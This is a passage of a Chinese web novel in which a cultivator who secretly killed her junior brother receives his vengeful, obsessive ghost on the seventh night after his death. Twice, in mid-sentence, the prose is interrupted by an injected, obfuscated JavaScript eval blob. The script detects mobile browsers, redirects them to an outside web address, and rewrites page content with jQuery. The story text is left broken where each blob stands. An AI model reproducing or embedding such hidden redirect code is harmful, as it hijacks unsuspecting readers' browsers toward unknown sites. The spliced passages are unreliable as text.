忽然,她停住了脚步,一种被注视的悚然直直让她僵在了原地,恍惚之中,她好像又看到了那巨大的红色竖瞳在她面前升起,散发着令人胆寒的光芒。 可是心里,却有一股自己说不清道不明的慰藉升起,无端让人安心。 “我好像还梦到了什么人。” 她梦到了一个很熟悉的人,解开了一直缠绕在她里面的心结。 让她感受到了前所未有的安宁。 —— 圈外,邪祟诞生之地,同时也是极暗之地,一望无际的黑色近乎将整个世界给覆盖,只剩下邪祟那与生俱来的幽幽的瞳孔在黑暗中散发着光亮。 嘎嘣—— 随着骨头断裂的脆响,乌玉宇将自己的手从邪祟的头中取出。 周围的邪祟被他的动作威慑,发出低低的嘶吼声,却又不敢上前。 粘稠血液顺着他的手指滴在那个倒在地上,半个脑壳被他撬开的邪祟身上,死不瞑目的红色竖瞳还在不甘地睁着,发出暗淡的光亮。 乌玉宇眼眸低垂,淡淡的嫌恶在他的眼中一闪而过,却很快就隐了过去,他又开始翻看他的回忆了。 明明他在现生生活了足足有十八年,但每次翻开回忆时,他的脑海中好像只剩下了一个人——他的师姐。 他的师姐有一副好看的容颜,细腻嫩滑的肌肤,明亮而又坚定的眼眸,就像是一直在黑暗当中屹立的一盏灯火。 可周围的黑暗却总是侵蚀着她,让那微弱的烛芯变得不再明亮,摇摇摆摆地艰难立着。 所以,她总是会沾染些庸俗,总是会被那些黑暗所同化。 敏感,自卑,嫉妒。 坚韧,勇敢,善良。 一些看起来风马牛不相及的东西,却组成了他的师姐。 恍惚之间,他好似又能看到,他的师姐握着那把剑,毫不犹豫地穿过了他的胸口,却又在真正成功之时,发出前所未有的颤栗。 温软的触感仿佛还在他的身前残留,一如他死去那一日之时。 乌玉宇嘴唇轻勾,低低地喊了一声:“师姐。” 那道声音不是很顺畅,宛若新生的婴儿稚嫩地使用他新生的咽喉。 但很快,他便又喊了一声。 “师姐……” 声音在空旷的环境当中,发出幽幽回响。 周围的邪祟不明白面前这个新生的邪祟究竟在想些什么,明明刚才还满是无害地在圈外站着,宛若一个误入这里的迷魂,满是无害。 可是却在一个不留神之间,就因为挑衅他为首的那只邪祟长着一双红色的竖瞳,就被他毫不留情的杀死。 他们还记得他那时候开口道:“红色,还真是令人厌恶的颜色。” 乌玉宇的语中满是冰冷,而现在那声师姐,却叫的格外缠绵,就像是人世间的残留的念想,勾着他,一步一步的往回走,直直走到世界的另一头。 邪祟们畏惧地将头低垂在原地,听着他说着一声又一声“师姐”。仿佛牙牙学语,将自己还没有完全张开的咽喉给用顺。 最后,等到那道声音不再干涩之时,乌玉宇将一直缠绕在他脸上的那条白布解开,一双明亮的黑金色竖瞳出现在他的眼上。 鳞片在一瞬间几乎快爬满他的全身,却很快又褪下去。 乌玉宇又想起了月晓白在他的牌位前,眼皮殷红,满是哽咽地对他诉说爱意的模样。 细微的啜泣宛若电流一般,直直地划过他的身体每一寸。 骗子。 乌玉宇在心中轻声道。 把周围所有人都勾引的五迷三道的骗子。 但是没关系,他很快就会回来了,他会让师姐这个小骗子露出马脚,满是愧疚的讨好自己,接受着他的施舍,而这,是她因为嫉妒杀死自己的补偿。 然后,他会将她严密的看管起来,不会再让她有任何的改变。 就这么满腹鬼胎和讨好的,一辈子待在他的身边。 4. 秘籍(修) 院子里,老头呜呜呜地叫喊声不断传来,奈何被堵了严实,一句话都说不出来。 月晓白强迫性的让自己冷静下来,告诉自己刚才那都是错觉。 她对石闫道:“从现在开始,你问我问题,只要我能回答上来,我都告诉你。” 再不想方设想强迫自己冷静下来的话,月晓白觉得自己会焦虑的原地转圈。 石闫连连点头,虽然他不明白发生了什么,但还是飞快的问道:“师姐,为什么说他儿子是被他自己杀死的。” 月晓白心平气和道:“你们知道的没我多,猜不到也正常,我在村子打听过,这老头和儿子关系并不好,尤其是在儿子落榜之后,他太想出人头地了,但他儿子失败了。” 他想出人头地和儿子有啥关系。 石闫满头雾水,但转念他就想明白了缘由,不是所有的父母都是毫无条件的疼爱孩子的,不少人把孩子当成是一种投资。 “所以他在激动之下,杀死了他儿子?”石闫若有所思道。 “谁知道呢?”月晓白是彻底心静起来了,她忽然有些想起了乌玉宇,“我又不是他,我怎么知道他是激情杀人,还是蓄意谋杀呢?反正唯一可以肯定的是,他儿子的死和他脱不了干系就是了。” 总不能是意外吧,哪有那么多的意外可言呢? 月晓白沉默了片刻,补充道:“你没怎么离开过天地观,不太知道外面情况如何,白蜡村,一听就是产白蜡的,那可是个奢侈的玩意。” 大把赚钱,并且可以支撑村子里生计的玩意儿,如果月晓白要是这老头的,估计恨不得把这生产扩大再扩大,奈何这老头却是迂腐的,感觉这门手艺是至高无上的,不满村子其他人将手艺外扩,因此起了争执,老头联合其他人,在暗中杀害异己,却说是邪祟杀死他们的。 然后这奸诈的老头生的儿子又是老实的,听到他说邪祟,还立马去写信给天地观,此后再受到消息就是他儿子死亡。 月晓白三言两语,将这件事给解释清楚,便对着老头道:“一会儿我们出去,会有人进来将你给放了,当然,前提是你做的事情也会暴露在众人面前。” 老头面色涨红,一双眼睛瞪得老大。 月晓白毫不客气的回瞪过去:“按理来讲,你一见到我们,不应该是来求我们吗?毕竟你们又不是不知道,邪祟是可以回来报仇的,就在头七那天。” 老头嘴里呜咽,不知道说些什么。 月晓白忽然起了好奇的心思:“石闫,将他嘴里的布拿开。” 她倒要听听他打算说些什么。 石闫刚一拿开,老头的声音从在空中炸现:“我生他养他,就算是我不小心害了他,我也不是故意的啊,他凭什么害我!” 月晓白眸光一暗,抬手示意石闫将他的嘴重新堵上:“你是不是故意,他能不能害你,不是你说了算,而是天道说了算的。” 如果鬼魂拼着不入轮回,一心想要向往人间的理念,那么天道会给他们一个机会,让他们转为邪祟,在头七那天回魂,报仇雪恨。 她和石闫一同出了门,独留老头在院内。 月晓白周围探查了一圈,果然如同石闫所说,一点痕迹都没有,但有时候,太过于干净也是一种问题。 她拍了拍手从地上站起来,略带着点惆怅道:“回去吧,说不定之后有机会会再来,也说不定不会了。” 石闫已经将刚才的消息全部散去,来到了月晓白身边:“师姐,我们真就一点都不管?” “当然不管,俗话说,道法自然,就让这事情自然发展吧。”月晓白十分任性道。 石闫无奈地点了点头,真道法自然,那这消息都不该去散,不过真相大白,比有些事总是藏着掖着要好太多。 他们外村口的地方走去,但谁承想,就这么走了几步之后,他们被一个大娘给拦住了。 本来以为她是要求助些什么事情,然而她却是来感谢的。 石闫挡在月晓白的面前,连连拒绝塞过来的东西,可惜石闫是有一番本事,奈何长了一个和气面善还有虎牙的脸,对于大娘来讲根本不起作用,反而还更加激起了拳拳慈母心,硬是要送东西感谢他们。 月晓白对这一景象略有些头皮发麻,她最害怕这种情况了,她根本拒绝不来。 她在石闫身后道:“大娘,不用了,这村子里没什么邪祟,我们没帮上什么,不用劳烦。” “这话说的,没邪祟不是更好吗?你们辛苦跑上一趟,总得带点什么东西回去不是?也是没想到徐老头居然干出这种事,多亏了仙长让我们知道真相。”说着,大娘塞东西塞的更猛了,差点让石闫招架不住。 “真不用,我们又没帮上什么。”石闫艰难摆手。 “怎么不算是帮到了?帮我们知道真相,也是帮到了啊,而且啊,没你们这群人不断地前去除祟,那群邪祟都不知道把我们嚯嚯成什么样了。”大娘见石闫一副坚决不肯收东西的样子,眼珠一转,灵活地绕过了他,将东西往月晓白手上一塞。 月晓白下意识地接了过去:“……” 她抱着一大篮东西,僵硬地站在原地。 大娘对这一情况满意了:“姑娘家就应该多吃点东西,瞧瞧,就这么点东西,将你衬的人都瘦了。” 按理来讲,怎么都不应该得出衬的瘦这个结论,月晓白觉得她的身型十分正常,甚至来讲达到了优秀的地步。 个子高,腿长,皮肤白,身材她自己照镜的时候都喜欢看。 怎么会这么点东西就把人给衬瘦了,她又不是拿不动。 应该还是大娘太过热心导致的,看谁都像是瘦了几分。 石闫连忙将月晓白手中的东西给拿走,为难道:“真不用了,您实在是太客气了。” “送出去的哪有再还回来的。”大娘躲的比谁都快,不肯接他递回来的东西。 大局发生了逆转。 月晓白按了按她的手腕,视线有点飘忽,忽然,她的在某个地方停留一瞬:“东西就不用了,我们拿着不方便,如果实在想送的话,就送我们两根蜡烛吧。” 半融化的蜡油从墙角树立的那两根蜡烛上慢慢滑落,在地上淌出小小的一片,半凝固起来。 正好可以用在乌玉宇头七的时候。 —— 月晓白的手腕在回去之后,就被石闫安排了一个大夫检查,她并不是很愿意,而且也不是在意这件事。 可到底还是拗不过师弟的心意,接受了。 大夫摸着他的胡子:“不是什么大事,但到底是伤了筋骨,最起码一个月的时间内,不要让那只手,提任何的东西了,用任何力了,好好养着,之后再慢慢恢复。” 月晓白可有可无地应了一声,她问石闫道:“那群邪祟的行踪,追查了吗?” “从师姐您和乌师兄出事的时候,天地观就已经派人追查了,放心。” “白蜡村的防护都做了吗?”月晓白像是突然想起起来什么道,虽然决定不管那几个干坏事的,但其他人可是无辜的。 石闫无奈道:“当然做了,这不是一贯如此,只要天地观来到的地方,防护肯定是一早就做起来了,师姐还想问些什么吗?” 月晓白哑然,她摆了摆手,表示没什么了。 于是石闫便跑去跟大夫谈话,将注意事项全部问了一遍。 月晓白摆弄着那两根新的蜡烛,她本意只是想让大娘随便拿两根蜡烛给她,但大娘说,那两根蜡烛是用过的,回去又拿了两根新的蜡烛给她,不止如此,她还拿了几根红色的蜡烛,说她之后成婚的时候可以用——这个是大可不必了。 不过那两根白色的蜡烛正好可以在乌玉宇头七的时候,一左一右地插上。 反正也是她来筹备头七不是吗?当然是她说了算的。 “师姐。”石闫叫了几声,月晓白才终于应了。 “师姐你真的不来听几句大夫说什么吗?”石闫幽怨道,嘴边的虎牙若隐若现,“不然我真怕我刚跟大夫保证会让你好好恢复,你转头就拿起刀开始练了。” 月晓白失笑,真是,还对着她没大没小起来了。 她摇了摇头,道:“你就放心吧,绝对不会。” 她是那么不知轻重的人吗? 转眼几天过去,很快就到了乌玉宇头七的前一天。 虽然安排了月晓白去准备乌玉宇的头七,可回过神来,想到月晓白在葬礼上情真意切的样子,到底还是怕她想不开,这段时间一连安排了几个师弟妹守着她,到头七那个更是如此。 数个师妹弟抢着干活,硬是让月晓白变得无所事事了起来。 乌玉宇房间内,月晓白将她从外面买回来的糖葫芦堆成一座小塔,端端正正地摆在了乌玉宇的遗像前。 然后又将她心心念念已久的两根蜡烛插在烛台上,点燃。 因为邪祟,头七的习俗也变得有些不同起来,现在更多集中于头七前一天,前来收拾屋子,摆上一些贡品,然后将房屋封闭,大意就是说,大家都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125889|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很想念你,但是回来就免了。 作为师姐的最强拥护者,自乌玉宇不在后自封,石闫自然是当仁不让来到了这里,看着月晓白摆放的那么多糖葫芦,哭笑不得道:“师姐,怎么尽摆些你喜欢吃的啊。” “你师兄也喜欢。”月晓白满意地退后,看了一眼她的成品,然后便低头找有没有什么她还有什么能帮忙的。 转了一圈之后,还真被她找到了,其他师兄妹大概是顾及乌玉宇的隐私,床上那一部分几乎没怎么动。 倒也不杂乱,就是床边摆放的书有点多,顺手整一下就是。 这样想着,月晓白便把这些书整到了一起,只是这些书大小不一,一不小心,一本小册子落在了地上,一页内容就这么翻了过来。 上面写着:[今天又收到了晓白姐姐送的糖葫芦,不好吃,害我牙掉了。] [为什么晓白姐姐总会是觉得,她喜欢的东西,别人也会喜欢,是因为情商的原因吗?] 刚刚说了乌玉宇也喜欢吃的月晓白:“……” 她转过头看了周围,哗啦,刚才还安静的环境瞬间就哗啦啦响动起来,擦桌子声,拖地声,满屋都是声音,仿佛刚才的安静是错觉,每个师弟妹都在认认真真干活。 月晓白又重新转了过去,将那本书从地上捡了回来,放到了那摞书的最上面。 她又转过头看了一眼,这回正常了,都在干活。 月晓白便放心转过身去,走到一个角落,背着他们,将那个小册子偷偷塞进了自己的袖子里。 怪不得小时候乌玉宇突然又很长的一段时间,怎么都不肯理她,然后将月晓白气的不行,说什么也不要理他了,两个人冷战了好一会儿,最后还是乌玉宇主动求和,两个人之间的冷战才结束。 不过说来说去这也怪不得她,还情商的原因,谁让乌玉宇自己不说的,每回递过去他不都很开心的接过了吗?月晓白当然是理所应当的以为他也喜欢了。 分享给他好吃的他居然还来怪起她来了。 这剩下的书,也不知道是记些什么的,上面没有书名,月晓白的手指愈发的蠢蠢欲动了。 万一是什么秘籍呢?她知道她的师弟一向好看书,看的和学会的秘术数不胜数,放在床头的,一定是很重要很厉害的东西吧,反正乌玉宇都不在了,她学去正好。 这样想着,月晓白又往袖子里悄悄塞进去了一本。 她颠了颠袖子,感觉还能塞,便又往里面塞进去一本。 正当月晓白沉迷塞书之时,一道声音悄然从她身后响起:“师姐,需要我帮你把这些书给搬回去吗?” 大概是因为,人在干坏事的总是格外的专注,月晓白被这突然出现的嗓子结结实实吓了一大跳。 她一转身,石闫正站在她的正后面,那张带着虎牙的脸笑的格外腹黑,再往后,无数个师弟师妹眨巴着“哇噢,你真的好爱他”大眼,宛若一群炯炯有神的猫头鹰,齐刷刷地看她。 月晓白:“……” 月晓白羞愧难当,月晓白站立难安。 她若无其事地将她塞的很满的袖子放了回去,若无其事出了屋子,仿佛什么事都没有发生。 直到走到一个拐角,确保他们彻底看不见她之后,便在原地蹦跶起来,脸部的热意一点的一点的上升,烫的惊人。 月晓白缓了一会儿,才终于觉得自己可以了,她又可以重新面对这个世界了。 不管如何,这一趟都不亏,她并没有把全部的书都放回去,袖子里还留了一本书外加那个小册子。 她倒要看看,乌玉宇究竟在私底下偷学什么秘籍。 月晓白将那本书打开,满怀期待的看了过去。 然后入目第一页,便是硕大的四个字——双修秘籍。 “啪”地一声,近乎是飞速,月晓白将书给合上,之前脸上降下去的温度,现在又急剧上升,烫的惊人。 双修,不就是双修吗?是个人都会双修,这有什么好意外的,没什么大不了的。 月晓白拿着那本书,宛若烫手山芋,丢也不是,带回去也不是,最后只能认命地塞回袖子里,好歹都拿回来了。 正在她准备离去之时,交谈声从她的不远处传来。 “你听说了吗?咱们天地观附近有个人,害死了他亲人,然后头七当晚就被找上门了,将他吊死在了床头。” “这么大的事情,怎么可能没听说过呢,诶……”他的声音压低了些,“你觉得月师姐她会受到报复吗?” 5. 头七·上(修) 拐角的不远处,月晓白面无表情的站在原地。 周围的谈话还在继续。 另一人态度很是愤慨,一副典型的磕上头的样子:“嘘,你怎么说话呢?乌师兄又不是月师姐杀的,你没看葬礼上月师姐哭的那么伤心,刚才我还听说了,月师姐还在收拾乌师兄东西的时候,情难自禁想要带回去悄悄珍藏,怎么可能是月师姐!” 旁边的人悻悻然:“我只是觉得有这个可能而已,又没说一定是月师姐,乌师兄的天赋好到那种诡异的地步,把咱们所有人都压在头上,是个人都会感到不舒服吧,更何况是和乌师兄朝夕相处的月师姐。” “你啊,你嫉妒,又不代表所有人都嫉妒,是与不是,头七那天不就知道了。” 两个人的声音渐渐远去,月晓白垂下眼眸,几天修养下来,她握刀的那只手并没有好上太多,但足够了。 是夜,天上乌云密布,不多时,大雨瓢泼而下,密密麻麻地砸在窗上,激起人阵阵困意。 月晓白是在雨声下入眠的。 今晚的梦,格外的光怪陆离,先是梦到有人在外面敲门,然后她打开门,是乌玉宇站在外面,她来不及打一声招呼,便被他给一剑穿心,一如自己对他一般。 紧接着,一个新的梦又来了,这次依然是敲门,这次她并没有开,但乌玉宇却悄然出在了她床头,用白绫直接勒死了她。 再然后…… 月晓白在梦中体验了无数个她的死法,就在她想这个操蛋的梦到底是什么时候结束时,一阵敲门声惊醒了。 月晓白睁开了眼。 手指骨节轻叩房门的声音在空中幽幽传来,一如梦中,这一瞬间,月晓白有些分不清是梦境还是现实。 她伸手在床上摩挲着,将那张一直以来随身携带的那张白色面具拿起,斜挂在她的头上。 这是她的法器,名曰“观祟”,取自“观尽世间,天下无祟”。 而这个法器最大的作用就是,辨别邪祟,没有任何邪祟,可以逃过它的法眼。可以说,只要这张面具在身上,就会是她的眼睛。 这也是月晓白除祟这么多年的依仗之一。 隔着一扇门,乌玉宇的声音被拉的变型,甚至有些沉闷:“师姐,是我啊,为什么不给我开门呢。” 月晓白被他突然的出声吓了一跳,梦里可没有这一出。 她从床上坐起来,用被子将自己裹的更严实了。甚至就连呼吸声都放轻,好似这间屋子里根本没有她这个人一般。 但不知为何,乌玉宇却像是笃定她在里面一样,继续道:“师姐,我好想你,可以让我进去吗?” 月晓白不语。 似乎是因为她的沉默应对,外面的人也沉默了,周围静的只能听见雨声。 吧嗒…… 吧嗒…… 月晓白的眼睫轻轻颤了一下,她忽然有一种直觉。 他在听自己的呼吸声,他在观察自己的一举一动。 又不知道过了多久,乌玉宇道:“师姐,我在下面听到你的哭声了。” 月晓白的身体一僵。 他的声音带着点点笑意:“我听到你说,你好爱我,好喜欢我,很舍不得我。” 月晓白隐隐有些羞恼,别给自己加戏了好不好,她有说那么多吗?怎么搞的,乌玉宇他人都死了还能听见自己说话。 但因此,她心里不知何时升起的惧意悄然散去不少。 乌玉宇有些茫然的声音从外面响起:“师姐,是谁杀了我,你可以帮我找到凶手吗?” “……” 是了,月晓白想起来了,他不可能知道谁是凶手,因为临死之前,乌玉宇的眼睛是被蒙上的。 月晓白缓缓从床上下来。 她披着被子,走到房门口,从门缝里看他,这是月晓白自乌玉宇死后,时隔几天,终于再次见到了他。 乌玉宇还维持着死前的样子,他的眼睛被素白的布给蒙住,长长的头发披散在他的身上,宽大的还略微带些凌乱的衣袍像是套在他的身上一般,露出一片锁骨,依稀还能看得出少年那还不算完全成型的青涩。 但只一眼,已经足够她辨认,他没有成为邪祟。 “师姐,你在看我吗?”乌玉宇的嘴唇轻勾,“为什么只看我,不欢迎我进来呢?” 太平和了,这一切都太平和了,没有一剑穿心,也没有凭空出现个白绫将她勒死,这简直是不像是现实,而像是梦境,错乱颠倒的梦境。 月晓白的眼眶一点点红了,她打开房门,不管不顾地将他给抱住,哽咽道:“小鱼儿,我好想你啊,师姐一定会帮你找到凶手的。” 他轻轻嗯了一声:“我当然是相信师姐啦。” 所以一定不会是师姐杀死我的对吧。 月晓白整个人都埋在乌玉宇的怀里,浑然不知自己身上披的被子都被她的动作带着落了下去,温热的肌肤和乌玉宇身上冰凉的衣物来了一个亲密接触,激起一个个细小的颤栗。 她不由自主道:“小鱼儿,你身上好冰。” 乌玉宇的手环过她的腰间,正好将她那滑落的被子给接住,重新披到了她的身上,他道:“师姐多穿些就不冷了,还有,别叫我小鱼儿了。” “啊?”月晓白愣愣抬头,任由乌玉宇的动作,“小鱼儿这个称呼是有什么不好吗?” 月晓白不解,这不是他的小名吗?而且她都喊了他这么多年了。 乌玉宇没有回答,他顺着月晓白的发丝,一路摸到了她的脸上,拇腹轻触她的眼下:“师姐,你是哭了吗?” 本来没想哭,但因为他的动作,月晓白的眼眶不由愈发的红了,她吸了吸鼻子:“没。” “说谎。”乌玉宇似乎是笑了一下,抬手轻拭她的眼下,“我知道晓白是不会哭的,对吧。” 月晓白被他强迫性地按着点了两下头,弄的她是又想哭又是想笑。 “我才没有哭呢。”她又重复道。 乌玉宇淡淡“嗯”了一声,他低头“看着”他的师姐,摩挲着她温热的肌肤,那张红润的嘴唇就这么毫无防备的在他的面前张开,脆弱的咽喉就在他的指尖下面跳动。 但他一向敏感的师姐却连一点把自己的命门送入别人手中的意识都没有,依然就这么睁着一双好看的眼睛,疑惑地看向他,像是在问他为什么不说话。 婊子。 乌玉宇在心中轻声道,一贯会勾引人的婊子。 故意不穿衣服前来开门,故意对他投怀送抱好让他心软,故意让被子在他的面前滑落,明明他现在眼前是被东西挡住,理应看不见的,但她却执意想要勾引他。 月晓白看着他沉默不语的样子,有些犹豫地开口道:“你……要不先进来。” “进去哪里?”乌玉宇问道。 “当然是屋子里了。”月晓白将自己的脸从他的手中挣脱,同时侧了一下身将门打开更多。 月晓白觉得自乌玉宇回来初始,就有一种奇奇怪怪的感觉,但她顾不了那么多了,万一被人看见了怎么办? 这不就是抓住她的把柄了吗? 以及,乌玉宇现在到底是个什么状况,她必须得问清楚。 乌玉宇站在门口不动。 “嗯?师弟?”月晓白疑惑。 不让叫小鱼儿,叫师弟总行了吧。 乌玉宇最终还是进来了。 月晓白殷勤地将他安置到了屋里的软榻上,正准备和他挤在一块好好问问他时。 乌玉宇开口道:“师姐,我想喝茶。” 行吧。 月晓白从软榻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125890|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上站起来,她到底是有些心虚的,所以这时候想要使唤她,也格外的好使唤。 她倒了一杯茶,推到乌玉宇的面前,然后便一屁股坐下挤在他的身边,不给他第二次开口使唤她的机会,问:“你是怎么回来的?” 月晓白的距离和他挨得极近,近到乌玉宇可以看清她微翘的眼睫,微微敞开的被褥中间那柔软起伏的弧度。 乌玉宇微微偏了偏头。 果然,一边勾引讨好他不够,一边还要试探他。 “听到师姐说想我了,我就回来了。” 月晓白的耳朵尖一下子就红了,怎么又说那事,她根本没有那么想他。 “你说的正经点,哪有鬼魂可以强留世间的。” 是啊,所以他并不是鬼魂,而是邪祟,前来复仇的邪祟。 当然,乌玉宇面上并没有流露出什么异样:“师姐听说过鬼修吗?” “鬼修?”月晓白满头问号,这是什么奇怪的玩意,她只听说过人修,可从来没听说过什么鬼修。 “阴差阳错,得到了一份机缘,便成了鬼修,可以以鬼魂之体得道修仙的鬼修。”乌玉宇道。 “是吗?”月晓白的表情僵硬,淡淡的酸意涌上她的心头。 月晓白并没有完全相信,但她师弟一向好运,真有这种机缘也未尝没有可能。 “怎么,师姐不信?还是说师姐不希望我回来。” 乌玉宇将她的表情尽收眼底,一抹嘲意在他的心中升起,他的师姐果真是一点都没有变,浑身上下都被庸俗沾染。 “怎么会,师姐怎么可能不希望你回来,只不过鬼修这回事……”月晓白斟酌着语言,“我从未听说,万一有什么风险呢。” “师姐这是在担心我吗?”乌玉宇的语气亲昵,“放心,没有风险,而且我也想师姐了,师姐看到我回来不高兴吗?” “高兴。”月晓白呐呐开口,她被这连声问的,哪里敢说的上一声不高兴,这不就是被他抓住马脚了吗? 乌玉宇“嗯”了一声,开始给她解释鬼修这件事:“鬼修,起源应该是在邪祟之前……” 月晓白本以为他很快就可以说完,谁知三言两语之后,他越讲越多,听的月晓白昏头转向,有理有据地让她觉得,世界上好似真的有鬼修的存在。 “你等下。”月晓白晕头晕脑地打断了他。 乌玉宇从善如流地停下,似乎是在问,你终于信了吧。 月晓白肯定地点了点头:“你说的没错,好像是有这么一本书记载了这件事情,我想起来了,我前段时间还看了,就放在我屋里。” 乌玉宇顿了顿:“你记错了。” 月晓白从软榻上站起来,风风火火地去找了:“绝对没有记错,我记着呢,是有这么回事。” 片刻之后,她抱着一摞书走到了他的面前,嘴上嘀嘀咕咕道:“我有些忘了是这些里面的哪一本了。” 大抵是这摞书有些高,月晓白又急着把这些书摆到乌玉宇面前,“吧嗒”一声,一本书从那摞书的最上面滑落,落在乌玉宇不远处的软榻上。 月晓白没放在心上,正准备把那本书一捞重新放在上面时,大大的“双修秘籍”四个大字敞开在她的面前。 而乌玉宇的手指已经放到了那本书的面前。 几乎是飞速的,月晓白脸上的温度上升了。 她打算将那本书抢过来,然而乌玉宇却快她一步,将那本书拿起来,语带好奇:“师姐,我现在看不见,可以帮我念一下吗?” 还以为是他的师姐真的发现了,没想到却是新的勾引他的手段。 乌玉宇看着月晓白那张面若桃花,满是羞赧的脸,指尖轻动。 他漫不经心地想,得先晾一晾。 不能让她这么急不可耐。 6. 头七·中 屋内,烛火的燃烧发出细微的噼啪声。 月晓白听到乌玉宇那句的第一反应是:念?他自己看就算了,哪里来脸来让她念这些污言秽语的玩意儿。 但紧接着,她就意识到了什么:“你看不见?为什么不把白布给取下来呢?” 月晓白盯着乌玉宇那张大半被白布遮掩的面容,百思不得其解,也对,谁脸上蒙了那么大的一块布还能看见啊,亏她现在才发现。 但为什么不摘下来呢?是因为眼睛还没有好吗?可是不应该啊,首先人都成鬼魂了,还关眼睛什么事,其次这个药是她特意下的,只会让眼睛不适一段时间,甚至连他眼睛上戴的那块布都是她给乌玉宇系上的。 是的,为了下手容易,月晓白早在她下手的前几天,就设计让乌玉宇眼睛不适了一段时间。 乌玉宇将那本书扣上,闻言只发出轻微的浅笑:“因为不想。” 月晓白动作一滞,转身闷头翻起了书来,任她想破脑袋,她都想不到乌玉宇会是这个回答。 是不想?还是不想看到她?所以就用这么拙劣的借口,就连小鱼儿都不让她喊了。 或许他的师姐自己都没有发现,她脸上的情绪变化真的特别明显,明明是很清丽冷淡的一张脸。 但是现在,她的两颊不自觉的鼓起了点,嘴唇被她咬的红红的,发出淡淡的水光。 乌玉宇凑到月晓白的身边,带着几分笑意的问:“师姐,需要我帮你找吗?” 月晓白恶狠狠回了句:“不用。” 她才不要让一个瞎子帮她找书。 月晓白房间里放的书并不算很多,然而就这么点,也让她一阵好找,不知翻了多久,月晓白终于在一本书中的翻到了鬼修的记载。 确实如她所言,她曾经看过。 鬼者,归也。 若以鬼魂之体问道求仙,则少了轮回磨炼之苦与积善行德之举,全然空想妄求,非老天赞成之道,于是乎比普通问道求仙困难百倍,并且被视为自动放弃轮回,劫数难渡,一旦失败,多则魂飞魄散,少则魂体重伤。 月晓白将那几页记载鬼修的内容,来来回回翻看了数十遍,越翻看越在想,她的师弟是不是被人骗了,哪个杀千刀的骗她师弟走到这条路的。 她将书给合上,抬头看向乌玉宇,露出一个浅笑来:“好师弟,师姐有个地方一直想带你去。” 乌玉宇“看向”她,同时将那几行字尽收眼底,他欣然应允道:“好啊。” 没想到混编乱造,还真碰上了个有来路的。 他真的很好奇,他的师姐究竟要做什么,只不过:“师姐,在出去之前,你是不是应该先把衣服给穿上。” “咦?我没有穿吗?”月晓白疑惑。 “……” 屋外,大雨滂沱。 月晓白在乌玉宇的强烈要求下,又将一件外衣穿到了她身上,即便是她没有觉得这有什么不对。 毕竟人里三层外三层穿的衣服已经够多了,即便是她入睡,她身上也有好几层衣服,她不觉得这有什么见不得人的。 月晓白将屋里的一盏油灯拿到了手中,面上没什么异样道:“我们往前面走一段就到了。” 乌玉宇看着那盏灯,周身的气质有一瞬间变得阴沉的,却又在月晓白转身看过来时,变得杳无踪影。 他只是浅笑着带着点黏腻道:“师姐,雨天路滑,我看不见。” “没关系,师姐牵着你走。” 乌玉宇站在原地,看着月晓白走到他的身边,用另一只空着的手,将他给拉住。 她的手很是细长,并且一点瑕疵都没有,白嫩,绵软,像是上等的白玉,怎么看都不像是长期握刀的手。 乌玉宇任由月晓白牵住他,并且任由她带着他往前,只不过却在她牵住自己的那一瞬,将她的手给反握在手中,严密的包裹起来,磋磨她掌心的白嫩。 月晓白没怎么在意他的动作,或者说,她没有注意到,此刻她的心思已经有很多不在他上面了。 她拿那盏油灯,不是为了别的,而是为了——送魂。 就像是读书一样,人们常说,读书的最好时机,就在当下,无论什么时候开始都不晚,而送魂也是如此。 最好的时机就是头七当天,而后面想要送走就没那么容易了。 而油灯则是送魂之术里面,必不可少的媒介,甚至常用到,只要是拿出油灯,别人就能知道这是要准备送魂了。 所以月晓白现在要做的事情很简单,就是不留余地地哄骗他,让乌玉宇牵着自己的手,将他的魂魄神不知鬼不觉送到阴曹地府,送魂这个词,是个很形象的说明。 天地观的后山,是一个很好的和阴间的连接之处,乌玉宇同样也葬在这里。 她此行出发的目的地,就是后山,而这一路保持油灯不灭,则是送魂的必要条件。 月晓白沉默着,一路往前走,不管是为了断了他杂七杂八的鬼修念想,还是为了自己,无论如何,乌玉宇都不能留在这里了。 长廊外,挂在一侧的竹帘被风吹的左右晃荡,地上的水池不时东一片西一片的,烛火摇曳的厉害,好似下一秒就会被风给吹灭。 怎么看,怎么都不是一个送魂的好天气,好在天地观的建筑有一个特点就是,它的长廊全部都是连接并且半封闭的,可以通到天地观的每一处,这也大大利于了她。 月晓白瞥了一眼那摇曳的烛火,将它往背风处一压,遮住了些许风雨。 “师姐,我们不讨论一下,杀死我的人到底是谁吗?”乌玉宇突然道。 月晓白步伐一顿,随即面色如常道:“是应该好好讨论一下,师弟还记得当时的状况吗?” 乌玉宇沉吟片刻,道:“师姐这么一说,我突然觉得是有些记不清了,唔……我身上的伤,是刀伤吗?” 月晓白瞥了一眼他伤口的部位,眼眸微垂。 不得不说,乌玉宇这算是死了都有一副得体的面容,从月晓白的视角来看,她是看不到一点脏污和潦草,除了领子开的有点大之外。 她摇了摇头:“不,你身上的是剑伤。” “哦,是吗?那可真是遗憾。”乌玉宇的唇角微微勾起。 月晓白眉头微蹙,冷冷道:“遗憾什么?剑伤与刀伤有什么不同?是刀伤能让你爽到?” “没什么不同。”乌玉宇应道,但他的语气,却总感觉他话里话外并不是这个意思。 